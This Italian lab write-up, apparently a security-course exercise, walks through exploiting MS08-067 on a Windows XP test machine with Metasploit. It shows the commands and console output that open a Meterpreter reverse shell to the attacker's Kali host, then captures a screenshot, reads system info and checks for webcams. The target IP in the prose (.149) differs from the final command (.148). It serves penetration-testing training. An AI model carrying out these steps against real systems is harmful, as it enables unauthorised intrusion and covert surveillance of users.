

S7L3

Esercizio

Viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067. Una volta ottenuta la sessione, si dovrà:
Esecuzione Recuperare uno screenshot tramite la sessione Meterpreter. Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

avviamo msfconsole, una volta avviata tramite il comando search andiamo a cercare il modello di exploit MS08-067

una volta individuato ho utilizzato il comando use 0 che corrisponde a use <nome exploit> successivamente ho utilizzato show options ho visionato quali erano i campi necessari per eseguire l'exploit

quindi con il comando set RHOSTS ho impostato il target l'indirizzo ip di windows 192.168.1.149

quindi dopo ho configurato anche LHOST con l'indirizzo di kali 192.168.49.100

e successivamente ho lanciato il comando exploit per eseguire quest'ultimo

dopo che l'attacco ha dato come in output il risultato di successo ho proseguito mandando come comando "screenshot" così da ottenere la schermata di windows xp inoltre per conferma ho eseguito anche "sysinfo" successivamente ho usato il comando "webcam_list" per verificare la presenza di eventuali webcam connesse.

```
msf6 > search MS08_067

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SMBPIPE    BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.49.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic Targeting

View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.148
RHOSTS => 192.168.1.148
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.49.100
LHOST => 192.168.49.100
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

```
meterpreter > sysinfo
Computer      : TEST-EPI
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : it_IT
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > screenshot
Screenshot saved to: /home/kali/zGKdwLLc.jpeg
meterpreter > webcam_list
[-] No webcams were found
```

